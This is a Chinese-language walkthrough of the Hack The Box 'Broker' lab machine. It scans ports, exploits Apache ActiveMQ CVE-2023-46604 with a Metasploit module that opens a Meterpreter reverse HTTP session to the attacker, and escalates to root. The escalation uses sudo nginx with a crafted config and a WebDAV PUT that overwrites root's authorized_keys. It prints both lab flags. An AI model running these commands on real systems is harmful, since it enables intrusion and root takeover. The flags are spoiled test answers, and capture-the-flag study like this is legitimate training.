HTB:Broker[WriteUP]

news2024/10/21 9:07:59

目录

连接至HTB服务器并启动靶机

1.Which open TCP port is running the ActiveMQ service?

使用fscan对靶机开放端口进行扫描

使用nmap对靶机开放端口进行脚本、服务信息扫描

2.What is the version of the ActiveMQ service running on the box?

3.What is the 2023 CVE-ID for a remote code execution vulnerability in the ActiveMQ version running on Broker?

4.What user is the ActiveMQ service running as on Broker?

尝试漏洞利用

5.Submit the flag located in the activemq user's home directory.

USER_FLAG:3aab16740303a25ccc63b7f6c91623f8

6.What is the full path of the binary that the activemq user can run as any other user with sudo?

再次从Meterpreter切换回shell

7.Which nginx directive can be used to define allowed WebDAV methods?

8.Which HTTP method is used to write files via the WebDAV protocol?

9.Which flag is used to set a custom nginx configuration by specifying a file?

10.Submit the flag located in the root user's home directory.

ROOT_FLAG:16de0aa36d6c7c4c7e55ea6fa167987a

尝试利用root权限的Nginx服务器getshell

在靶机或者在攻击机本地使用ssh-keygen生成一对密钥

利用一个变量存储root_ssh.pub内容


连接至HTB服务器并启动靶机

靶机IP:10.10.11.243

分配IP:10.10.16.6


1.Which open TCP port is running the ActiveMQ service?

使用fscan对靶机开放端口进行扫描

nmap -p- --min-rate=1500 -T4 {TARGET_IP} -oN nmap_result

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -T4 10.10.11.243 -oN nmap_result
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-20 07:59 EDT
Nmap scan report for 10.10.11.243
Host is up (0.084s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
1883/tcp  open  mqtt
5672/tcp  open  amqp
8161/tcp  open  patrol-snmp
42143/tcp open  unknown
61613/tcp open  unknown
61614/tcp open  unknown
61616/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 38.09 seconds

使用nmap对靶机开放端口进行脚本、服务信息扫描

nmap -p`cat nmap_result | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//` -sCV {TARGET_IP}

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p`cat nmap_result | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//` -sCV 10.10.11.243
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-20 08:03 EDT
Nmap scan report for 10.10.11.243
Host is up (0.14s latency).

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: nginx/1.18.0 (Ubuntu)
1883/tcp  open  mqtt
| mqtt-subscribe:
|   Topics and their most recent payloads:
|     ActiveMQ/Advisory/Consumer/Topic/#:
|_    ActiveMQ/Advisory/MasterBroker:
5672/tcp  open  amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
|     AMQP
|     AMQP
|     amqp:decode-error
|_    7Connection from client using unsupported AMQP attempted
8161/tcp  open  http       Jetty 9.4.39.v20210325
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: Jetty(9.4.39.v20210325)
42143/tcp open  tcpwrapped
61613/tcp open  stomp      Apache ActiveMQ
| fingerprint-strings:
|   HELP4STOMP:
|     ERROR
|     content-type:text/plain
|     message:Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
|     org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
|     org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
|     org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
|     org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
|     org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_    java.lang.Thread.run(Thread.java:750)
61614/tcp open  http       Jetty 9.4.39.v20210325
|_http-server-header: Jetty(9.4.39.v20210325)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title.
61616/tcp open  apachemq   ActiveMQ OpenWire transport
| fingerprint-strings:
|   NULL:
|     ActiveMQ
|     TcpNoDelayEnabled
|     SizePrefixDisabled
|     CacheSize
|     ProviderName
|     ActiveMQ
|     StackTraceEnabled
|     PlatformDetails
|     Java
|     CacheEnabled
|     TightEncodingEnabled
|     MaxFrameSize
|     MaxInactivityDuration
|     MaxInactivityDurationInitalDelay
|     ProviderVersion
|_    5.15.15
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port5672-TCP:V=7.94SVN%I=7%D=10/20%Time=6714F182%P=x86_64-pc-linux-gnu%
SF:r(GetRequest,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\
SF:x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S
SF:\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x2
SF:0client\x20using\x20unsupported\x20AMQP\x20attempted")%r(HTTPOptions,89
SF:,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04
SF:\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0
SF:M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\x20usin
SF:g\x20unsupported\x20AMQP\x20attempted")%r(RTSPRequest,89,"AMQP\x03\x01\
SF:0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\
SF:0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11am
SF:qp:decode-error\xa17Connection\x20from\x20client\x20using\x20unsupporte
SF:d\x20AMQP\x20attempted")%r(RPCCheck,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\
SF:0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0
SF:`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa
SF:17Connection\x20from\x20client\x20using\x20unsupported\x20AMQP\x20attem
SF:pted")%r(DNSVersionBindReqTCP,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\
SF:x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\
SF:0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Conn
SF:ection\x20from\x20client\x20using\x20unsupported\x20AMQP\x20attempted")
SF:%r(DNSStatusRequestTCP,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02
SF:\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0
SF:S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\
SF:x20from\x20client\x20using\x20unsupported\x20AMQP\x20attempted")%r(SSLS
SF:essionReq,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10
SF:\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x0
SF:1\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20cl
SF:ient\x20using\x20unsupported\x20AMQP\x20attempted")%r(TerminalServerCoo
SF:kie,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x
SF:0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x
SF:1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\x
SF:20using\x20unsupported\x20AMQP\x20attempted");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port61613-TCP:V=7.94SVN%I=7%D=10/20%Time=6714F17D%P=x86_64-pc-linux-gnu
SF:%r(HELP4STOMP,27F,"ERROR\ncontent-type:text/plain\nmessage:Unknown\x20S
SF:TOMP\x20action:\x20HELP\n\norg\.apache\.activemq\.transport\.stomp\.Pro
SF:tocolException:\x20Unknown\x20STOMP\x20action:\x20HELP\n\tat\x20org\.ap
SF:ache\.activemq\.transport\.stomp\.ProtocolConverter\.onStompCommand\(Pr
SF:otocolConverter\.java:258\)\n\tat\x20org\.apache\.activemq\.transport\.
SF:stomp\.StompTransportFilter\.onCommand\(StompTransportFilter\.java:85\)
SF:\n\tat\x20org\.apache\.activemq\.transport\.TransportSupport\.doConsume
SF:\(TransportSupport\.java:83\)\n\tat\x20org\.apache\.activemq\.transport
SF:\.tcp\.TcpTransport\.doRun\(TcpTransport\.java:233\)\n\tat\x20org\.apac
SF:he\.activemq\.transport\.tcp\.TcpTransport\.run\(TcpTransport\.java:215
SF:\)\n\tat\x20java\.lang\.Thread\.run\(Thread\.java:750\)\n\0\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port61616-TCP:V=7.94SVN%I=7%D=10/20%Time=6714F17D%P=x86_64-pc-linux-gnu
SF:%r(NULL,140,"\0\0\x01<\x01ActiveMQ\0\0\0\x0c\x01\0\0\x01\*\0\0\0\x0c\0\
SF:x11TcpNoDelayEnabled\x01\x01\0\x12SizePrefixDisabled\x01\0\0\tCacheSize
SF:\x05\0\0\x04\0\0\x0cProviderName\t\0\x08ActiveMQ\0\x11StackTraceEnabled
SF:\x01\x01\0\x0fPlatformDetails\t\0\x04Java\0\x0cCacheEnabled\x01\x01\0\x
SF:14TightEncodingEnabled\x01\x01\0\x0cMaxFrameSize\x06\0\0\0\0\x06@\0\0\0
SF:\x15MaxInactivityDuration\x06\0\0\0\0\0\0u0\0\x20MaxInactivityDurationI
SF:nitalDelay\x06\0\0\0\0\0\0'\x10\0\x0fProviderVersion\t\0\x075\.15\.15");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.82 seconds

由扫描结果可见靶机61616端口托管运行ActiveMQ服务器


2.What is the version of the ActiveMQ service running on the box?

在上文nmap扫描结果可见ActiveMQ服务器版本:5.15.15

或者直接使用浏览器访问靶机URL:http://{TARGET_IP}:61616


3.What is the 2023 CVE-ID for a remote code execution vulnerability in the ActiveMQ version running on Broker?

在vuldb对该服务器以及版本进行CVE漏洞搜索

往下拉可以看到ActiveMQ5.15.15版本受CVE-2023-46604漏洞影响


4.What user is the ActiveMQ service running as on Broker?

在CNNVD对该漏洞进行相关信息查询,可知该漏洞可以直接getshell

启动Metasploit

msfconsole

搜索该漏洞编号

msf6 > search CVE-2023-46604

使用该Exp模块

msf6 > use exploit/multi/misc/apache_activemq_rce_cve_2023_46604

列出该模块的可填选项

msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options

尝试漏洞利用

在此模块中,我们需要填写的选项为:LHOST、LPORT、RHOSTS、SRVHOST、PAYLOAD

msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > set LHOST 10.10.16.6
LHOST => 10.10.16.6

msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > set lport 1425
lport => 1425
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > set RHOSTS 10.10.11.243
RHOSTS => 10.10.11.243

msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > set SRVHOST 10.10.16.6
SRVHOST => 10.10.16.6

msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_http
PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_http

输入run或exploit开始运行该Exp模块

msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit

msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit

[*] Started HTTP reverse handler on http://10.10.16.6:1425
[*] 10.10.11.243:61616 - Running automatic check ("set AutoCheck false" to disable)
[+] 10.10.11.243:61616 - The target appears to be vulnerable. Apache ActiveMQ 5.15.15
[*] 10.10.11.243:61616 - Using URL: http://10.10.16.6:8080/8PbbHPQ2yq
[*] 10.10.11.243:61616 - Sent ClassPathXmlApplicationContext configuration file.
[*] 10.10.11.243:61616 - Sent ClassPathXmlApplicationContext configuration file.
ps
[!] http://10.10.16.6:1425 handling request from 10.10.11.243; (UUID: zz3u79fg) Without a database connected that payload UUID tracking will not work!
[*] http://10.10.16.6:1425 handling request from 10.10.11.243; (UUID: zz3u79fg) Redirecting stageless connection from /MSMT6wDicVqtE6sRygarOA3kv-N8oKle3FHjO_jRYeNTUck2edy26hRu432A97PjamyCMabbOBwnUZ6MJq6wGCXD8jIrBQ-C62VXNxbIFGoaPg with UA 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'
[!] http://10.10.16.6:1425 handling request from 10.10.11.243; (UUID: zz3u79fg) Without a database connected that payload UUID tracking will not work!
[*] http://10.10.16.6:1425 handling request from 10.10.11.243; (UUID: zz3u79fg) Attaching orphaned/stageless session...
[!] http://10.10.16.6:1425 handling request from 10.10.11.243; (UUID: zz3u79fg) Without a database connected that payload UUID tracking will not work!
[*] 10.10.11.243:61616 - Server stopped.
[*] Meterpreter session 1 opened (10.10.16.6:1425 -> 10.10.11.243:56034) at 2024-10-20 09:31:29 -0400

meterpreter > ps

Process List
============

 PID   PPID  Name       Arch    User      Path
 ---   ----  ----       ----    ----      ----
 946   1     java       x86_64  activemq  /usr/lib/jvm/java-8-openjdk-amd64/jre/bin/java
 1460  1     BnrCpBMJa  x86_64  activemq  /opt/apache-activemq-5.15.15/bin/BnrCpBMJa

将Meterpreter切换成shell

meterpreter > shell

查看当前用户

whoami

meterpreter > shell
Process 1483 created.
Channel 2 created.
whoami
activemq

由回显可见,ActiveMQ服务以activemq用户运行


5.Submit the flag located in the activemq user's home directory.

查找user_flag位置

find / -name 'user.txt' 2>/dev/null

查看user_flag内容

cat /home/activemq/user.txt

find / -name 'user.txt' 2>/dev/null
/home/activemq/user.txt
cat /home/activemq/user.txt
3aab16740303a25ccc63b7f6c91623f8

USER_FLAG:3aab16740303a25ccc63b7f6c91623f8


6.What is the full path of the binary that the activemq user can run as any other user with sudo?

从shell切换回Meterpreter

exit

尝试一键获取系统权限

meterpreter > getsystem

meterpreter > getsystem
[-] The "getsystem" command requires the "priv" extension to be loaded (run: `load priv`)

提示需要加载priv模块

meterpreter > load priv

meterpreter > load priv
Loading extension priv...
[-] Failed to load extension: The "priv" extension is not supported by this Meterpreter type (x64/linux)
[-] The "priv" extension is supported by the following Meterpreter payloads:
[-]   - windows/x64/meterpreter*
[-]   - windows/meterpreter*

只有Windows的payload支持一键提权,由于我们这次打的是Linux靶机所以只能手动提权

再次从Meterpreter切换回shell

meterpreter > shell

提升成tty_shell

script -c /bin/bash -q /dev/null

查看当前用户可sudo运行的命令或文件

activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo -l

activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo -l
sudo -l
activemq@broker:/opt/apache-activemq-5.15.15/bin$ Matching Defaults entries for activemq on broker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User activemq may run the following commands on broker:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

由回显可见,二进制文件:/usr/sbin/nginx可被activemq用户sudo执行


7.Which nginx directive can be used to define allowed WebDAV methods?

直接把这个问题喂给豆包

由回答可知,在Nginx中dav_methods指令可以用来定义WebDAV方法

在 Nginx 中,“dav_methods”指令用于指定允许的 WebDAV 方法。

WebDAV(Web Distributed Authoring and Versioning)是对 HTTP 协议的扩展,允许用户通过 HTTP 进行远程文件管理操作,如创建、删除、复制、移动文件等。

“dav_methods”指令可以设置允许的 WebDAV 方法,比如可以设置为“PUT”“DELETE”“MKCOL”“COPY”“MOVE”等不同的方法组合,以控制服务器对特定路径下的 WebDAV 请求所允许执行的操作。如果没有明确设置该指令,Nginx 可能会使用默认的 WebDAV 方法集。

例如,“dav_methods PUT DELETE;”表示允许在特定的 Nginx 配置上下文中执行 PUT 和 DELETE 这两种 WebDAV 方法。


8.Which HTTP method is used to write files via the WebDAV protocol?

还是直接喂给豆包

到了这里提权思路已经明显,将Nginx服务器运行目录设置在root_flag同目录即可

后期还可以通过WebDAV写入文件可以getshell,做到稳定的root_shell访问

WebDAV(Web - Based Distributed Authoring and Versioning)是超文本传输协议(HTTP)的一种扩展。它允许用户通过HTTP协议对服务器上的文件进行远程操作,就好像在本地文件系统中操作文件一样,包括创建、删除、移动、复制文件和文件夹以及修改文件的属性等,还支持多个用户对文件进行协作编辑,不同用户可以同时访问和修改服务器上的文件,并且可以跟踪文件的版本变化,方便团队协作。它基于HTTP协议,在HTTP协议基础上定义了一些新的方法和头信息以实现文件操作功能,例如PUT方法可上传文件,DELETE方法可删除文件,MKCOL方法可创建文件夹等,同时用一些自定义头信息传递文件属性信息如文件大小、创建时间、修改时间等。它应用于企业内部文件共享,员工可通过它访问公司服务器上共享文件进行操作;用于内容管理系统(CMS),允许管理员和作者对网站内容进行远程管理和更新;用于移动设备与服务器同步,用户可通过移动设备应用程序使用它与服务器同步联系人、日历、文档等信息。


9.Which flag is used to set a custom nginx configuration by specifying a file?

查看Nginx帮助手册

activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo /usr/sbin/nginx -h

activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo /usr/sbin/nginx -h      
sudo /usr/sbin/nginx -h
nginx version: nginx/1.18.0 (Ubuntu)
Usage: nginx [-?hvVtTq] [-s signal] [-c filename] [-p prefix] [-g directives]

Options:
  -?,-h         : this help
  -v            : show version and exit
  -V            : show version and configure options then exit
  -t            : test configuration and exit
  -T            : test configuration, dump it and exit
  -q            : suppress non-error messages during configuration testing
  -s signal     : send signal to a master process: stop, quit, reopen, reload
  -p prefix     : set prefix path (default: /usr/share/nginx/)
  -c filename   : set configuration file (default: /etc/nginx/nginx.conf)
  -g directives : set global directives out of configuration file

由回显可见,-c选项用于指定nginx配置文件


10.Submit the flag located in the root user's home directory.

在靶机根目录下找到root目录

activemq@broker:/opt/apache-activemq-5.15.15/bin$ cd /
cd /

activemq@broker:/$ ls
bin   dev  home  lib32  libx32      media  opt   root  sbin  sys  usr
boot  etc  lib   lib64  lost+found  mnt    proc  run   srv   tmp  var
ls
activemq@broker:/$ cd root
cd root
bash: cd: root: Permission denied

在网上可以找到Nginx的conf模板,将服务器目录设置在:/root

user root;
events {
    worker_connections 666;
}
http {
    server {
        listen 6666;
        root /root;
        autoindex on;
    }
}

本地开启http服务并将该conf上传至靶机

python -m http.server 7777

wget http://{NATIVE_IP}:{NATIVE_PORT}/temp.conf -O temp.conf

启用上传的配置

activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo /usr/sbin/nginx -c /opt/apache-activemq-5.15.15/bin/temp.conf

activemq@broker:/opt/apache-activemq-5.15.15/bin$ sudo /usr/sbin/nginx -c /opt/apache-activemq-5.15.15/bin/temp.conf
<nginx -c /opt/apache-activemq-5.15.15/bin/temp.conf

查看网络连接,可以看到6666端口已经在监听

activemq@broker:/opt/apache-activemq-5.15.15/bin$ ss -tlpn

攻击机尝试直接获取/root/root.txt文件内容

curl -v http://10.10.11.243:6666/root.txt

┌──(kali㉿kali)-[~]
└─$ curl -v http://10.10.11.243:6666/root.txt
*   Trying 10.10.11.243:6666...
* Connected to 10.10.11.243 (10.10.11.243) port 6666
* using HTTP/1.x
> GET /root.txt HTTP/1.1
> Host: 10.10.11.243:6666
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.18.0 (Ubuntu)
< Date: Sun, 20 Oct 2024 14:45:28 GMT
< Content-Type: text/plain
< Content-Length: 33
< Last-Modified: Sun, 20 Oct 2024 11:21:25 GMT
< Connection: keep-alive
< ETag: "6714e7b5-21"
< Accept-Ranges: bytes
<
16de0aa36d6c7c4c7e55ea6fa167987a
* Connection #0 to host 10.10.11.243 left intact

ROOT_FLAG:16de0aa36d6c7c4c7e55ea6fa167987a


尝试利用root权限的Nginx服务器getshell

修改conf文件,开启通过WebDAV方法允许使用PUT上传(这里注意更换监听端口)

user root;
events {
    worker_connections 666;
}
http {
    server {
        listen 3333;
        root /;
        autoindex on;
        dav_methods PUT;
    }
}

重新将conf文件上传至靶机,并启用该配置文件

再次查看网络接口,3333、6666接口皆正常监听状态

在靶机或者在攻击机本地使用ssh-keygen生成一对密钥

activemq@broker:/tmp$ ssh-keygen
Generating public/private rsa key pair.
ssh-keygen
Enter file in which to save the key (/home/activemq/.ssh/id_rsa): ./root_ssh
./root_ssh
Enter passphrase (empty for no passphrase):

Enter same passphrase again:
Your identification has been saved in ./root_ssh

Your public key has been saved in ./root_ssh.pub
The key fingerprint is:
SHA256:mxcbrkJlvwTbX2D+gjTAdXjZlDvaIIBTizxw/L90KYs activemq@broker
The key's randomart image is:
+---[RSA 3072]----+
|    ...o.  . +.. |
|     ++...o + o  |
|      ++.o o   . |
|       .B . + o  |
|       oSBo+ * . |
|      . .+X+= o  |
|     .  o=+X o   |
|      . Eo= o .  |
|       ..    .   |
+----[SHA256]-----+
activemq@broker:/tmp$ ls
root_ssh  root_ssh.pub

root用户authorized_keys默认位置:/root/.ssh/authorized_keys

利用Nginx的上传方法,将:root_ssh.pub文件覆盖掉:/root/.ssh/authorized_keys

在 SSH(Secure Shell)中,“authorized_keys”是一个重要的文件,通常位于用户主目录下的“.ssh”文件夹中。

这个文件用于存储授权的 SSH 公钥。当客户端尝试使用 SSH 连接到服务器时,服务器会检查客户端提供的公钥是否存在于目标用户的“authorized_keys”文件中。如果存在,并且配置正确,服务器将允许客户端进行连接,而无需输入密码(如果配置为基于密钥的认证方式)。

每个公钥在“authorized_keys”文件中占据一行,通常以特定的格式(如“ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy...”)开头,后面跟着公钥的具体内容和一些可选的注释信息。

通过管理“authorized_keys”文件,可以控制哪些用户可以通过 SSH 连接到特定的服务器账户,以及实现无密码登录、自动化脚本执行等功能,同时也有助于提高系统的安全性,因为可以避免使用容易被破解的密码认证方式。

利用一个变量存储root_ssh.pub内容

activemq@broker:/tmp$ key=$(cat root_ssh.pub)

将authorized_keys文件覆盖

activemq@broker:/tmp$ curl -X PUT localhost:3333/root/.ssh/authorized_keys -d $key

在靶机activemq用户通过SSH私钥连接至靶机root用户

activemq@broker:/tmp$ ssh -i root_ssh root@localhost

activemq@broker:/tmp$ ssh -i root_ssh root@localhost
ssh -i root_ssh root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.

This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Oct 20 03:25:13 PM UTC 2024

  System load:           0.0
  Usage of /:            72.0% of 4.63GB
  Memory usage:          13%
  Swap usage:            0%
  Processes:             164
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.243
  IPv6 address for eth0: dead:beef::250:56ff:feb9:271e


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

root@broker:~# whoami
whoami
root
root@broker:~# ls
ls
cleanup.sh  root.txt

那就再cat一下root.txt吧~

root@broker:~# cat root.txt
cat root.txt
16de0aa36d6c7c4c7e55ea6fa167987a

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2219924.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

windows下安装VirtualBox7.1.4

记录详细的安装过程与遇到的问题&#xff1b; 下载地址 virtualbox官网 清华镜像源下载 下载完成后文件&#xff1a; 双击打开&#xff1b; 报错了 意思是需要pc上先安装Microsoft Visual C 2019 https://learn.microsoft.com/zh-cn/cpp/windows/latest-supported-vc-redi…

C++ 中的线程、锁、条件变量。

线程 0.Linux中有POSIX标准的线程&#xff0c;Boost库中也支持线程&#xff08;比如thread_group 和 upgrade_lock &#xff09;&#xff0c;C11<thread>头文件中也提供了相应的API支持我们使用线程。它们三个&#xff0c;你学会一个&#xff0c;自然触类旁通。 1.创建…

Java-类与对象-下篇

关于类与对象&#xff0c;内容较多&#xff0c;我们分为两篇进行讲解&#xff1a; &#x1f4da; Java-类与对象-上篇&#xff1a;————<传送门:Java-类与对象-上篇-CSDN博客> &#x1f4d5; 面向对象的概念 &#x1f4d5; 类的定义格式 &#x1f4d5; 类的使用 …

特斯拉Optimus:展望智能生活新篇章

近日&#xff0c;特斯拉举办了 "WE ROBOT" 发布会&#xff0c;发布会上描绘的未来社会愿景&#xff0c;让无数人为之向往。在这场吸引全球无数媒体的直播中&#xff0c;特斯拉 Optimus 人形机器人一出场就吸引了所有观众的关注。从多家媒体现场拍摄的视频可以看出来&…

【C++】C++11新特性——右值引用,来看看怎么个事儿

&#x1f680;个人主页&#xff1a;小羊 &#x1f680;所属专栏&#xff1a;C 很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~ 目录 前言一、左值引用和右值引用二、右值引用和移动语义2.1 移动构造2.2 移动赋值2.3 STL容器插入接口2.4 左值右值相互…

【C++复习】经典笔试题

文章目录 八大排序快排过程 卡特兰数反转链表链表的回文结构左叶子之和另一棵树的子树归并排序类与对象编程训练杨辉三角字符串乘积二叉树前序遍历成字符串数组的交集二叉树的非递归前序遍历连续子数组的最大乘积 八大排序 插冒归稳定 快排过程 以 [3,4,6,1,2,4,7] 为例&#…

【计网笔记】以太网

经典以太网 总线拓扑 物理层 Manchester编码 数据链路层 MAC子层 MAC帧 DIX格式与IEEE802.3格式 IEEE802.3格式兼容DIX格式 前导码&#xff08;帧开始定界符SOF&#xff09; 8字节 前7字节均为0xAA第8字节为0xAB前7字节的Manchester编码将产生稳定方波&#xff0c;用于…

steam游戏模拟人生3缺少net framework 3.5安装不成功错误弹窗0x80070422怎么修复

模拟人生3在Steam上运行时提示缺少.NET Framework 3.5并出现错误代码0x80070422&#xff0c;通常意味着.NET Framework 3.5功能没有正确启用&#xff0c;或者安装过程中出现了问题。以下是解决这个问题的步骤&#xff1a; 1.启用Windows功能 按下Win R键&#xff0c;输入opti…

【论文学习与撰写】论文里的Mathtype公式复制粘贴,跨文档复制后错码/错位问题的解决

1、描述 问题&#xff1a;论文的草稿已经写好&#xff0c;里面的公式之类的都已经一个个打上去了 但是把草稿里的正文和公式粘贴在另一个文档里的时候&#xff0c;会出些公式格式错误的情况 那该怎么操作保证复制后的公式保持原格式呢 选中复制的内容&#xff0c;在另一个文…

MySQL【知识改变命运】10

联合查询 0.前言1.联合查询在MySQL里面的原理2.练习一个完整的联合查询2.1.构造练习案例数据2.2 案例&#xff1a;⼀个完整的联合查询的过程2.2.1. 确定参与查询的表&#xff0c;学⽣表和班级表2.2.2. 确定连接条件&#xff0c;student表中的class_id与class表中id列的值相等2.…

【c++篇】:解析c++类--优化编程的关键所在(一)

文章目录 前言一.面向过程和面向对象二.c中的类1.类的引入2.类的定义3.类的封装和访问限定符4.类的作用域5.类的实例化6.类对象模型 三.this指针1.this指针的引出2.this指针的特性3.C语言和c实现栈Stack的对比 前言 在程序设计的广袤宇宙中&#xff0c;C以其强大的功能和灵活性…

[k8s理论知识]6.k8s调度器

k8s默认调度器 k8s调度器的主要职责&#xff0c;就是为一个新创建出来的pod寻找一个适合的节点Node。这包括两个步骤&#xff0c;第一&#xff0c;从所有集群的节点中&#xff0c;根据调度算法挑选出所有可以运行该pod的节点&#xff0c;第二&#xff0c;从第一步的结果中&…

Java项目-基于springboot框架的企业客户信息反馈系统项目实战(附源码+文档)

